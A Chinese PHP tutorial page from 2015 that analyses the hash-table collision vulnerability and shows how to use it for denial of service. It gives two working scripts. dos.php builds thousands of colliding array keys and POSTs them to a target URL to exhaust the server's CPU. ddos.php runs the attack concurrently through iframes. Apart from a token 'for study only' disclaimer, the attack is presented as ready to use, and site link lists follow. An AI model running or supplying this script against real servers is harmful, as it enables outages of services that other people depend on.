PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
dedecms模板标签代码官方参考
Mar 17 PHP
PHP header函数分析详解
Aug 06 PHP
PHP 设计模式之观察者模式介绍
Feb 22 PHP
删除html标签得到纯文本可处理嵌套的标签
Apr 28 PHP
合并ThinkPHP配置文件以消除代码冗余的实现方法
Jul 22 PHP
8个必备的PHP功能开发
Oct 02 PHP
使用ltrace工具跟踪PHP库函数调用的方法
Apr 25 PHP
php使用curl通过代理获取数据的实现方法
May 16 PHP
Python中使用django form表单验证的方法
Jan 16 PHP
PHP基于正则批量替换Img中src内容实现获取缩略图的功能示例
Jun 07 PHP
PHP单元测试框架PHPUnit用法详解
Jan 23 PHP
PHP常用的类封装小结【4个工具类】
Jun 28 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
vBulletin Forum 2.3.xx SQL Injection
2006/10/09 PHP
php面向对象中static静态属性与方法的内存位置分析
2015/02/08 PHP
php简单获取目录列表的方法
2015/03/24 PHP
PHP实现深度优先搜索算法(DFS,Depth First Search)详解
2017/09/16 PHP
javascript深入理解js闭包
2010/07/03 Javascript
jQuery设置与获取HTML,文本和值的简单实例
2014/02/26 Javascript
javascript使用输出语句实现网页特效代码
2015/08/06 Javascript
jQuery链式调用与show知识浅析
2016/05/11 Javascript
JavaScript知识点总结(十一)之js中的Object类详解
2016/05/31 Javascript
mvc中form表单提交的三种方式(推荐)
2016/08/10 Javascript
js正则表达式最长匹配(贪婪匹配)和最短匹配(懒惰匹配)用法分析
2016/12/27 Javascript
非常优秀的JS图片轮播插件Swiper的用法
2017/01/03 Javascript
js鼠标跟随运动效果
2017/03/11 Javascript
详解Vue学习笔记入门篇之组件的内容分发(slot)
2017/07/17 Javascript
使用JS获取SessionStorage的值
2018/01/12 Javascript
解析Angular 2+ 样式绑定方式
2018/01/15 Javascript
关于vue中watch检测到不到对象属性的变化的解决方法
2018/02/08 Javascript
webpack之devtool详解
2018/02/10 Javascript
vue.js中ref和$refs的使用及示例讲解
2019/08/14 Javascript
Vue强制组件重新渲染的方法讨论
2020/02/03 Javascript
python实现根据窗口标题调用窗口的方法
2015/03/13 Python
python中的闭包函数
2018/02/09 Python
Python读取视频的两种方法(imageio和cv2)
2018/04/15 Python
Python tkinter三种布局实例详解
2020/01/06 Python
pytorch加载自定义网络权重的实现
2020/01/07 Python
基于python实现计算且附带进度条代码实例
2020/03/31 Python
学python最电脑配置有要求么
2020/07/05 Python
Python基于xlutils修改表格内容过程解析
2020/07/28 Python
世界著名的顶级牛排:Omaha Steak(奥马哈牛排)
2016/09/20 全球购物
打架检讨书2000字
2014/02/22 职场文书
创业者迈进成功第一步:如何写创业计划书?
2014/03/22 职场文书
2014教育局对照检查材料思想汇报
2014/09/23 职场文书
会议欢迎词范文
2015/01/27 职场文书
会计试用期自我评价
2015/03/10 职场文书
MySQL系列之开篇 MySQL关系型数据库基础概念
2021/07/02 MySQL
mysql sock 文件解析及作用讲解
2022/07/15 MySQL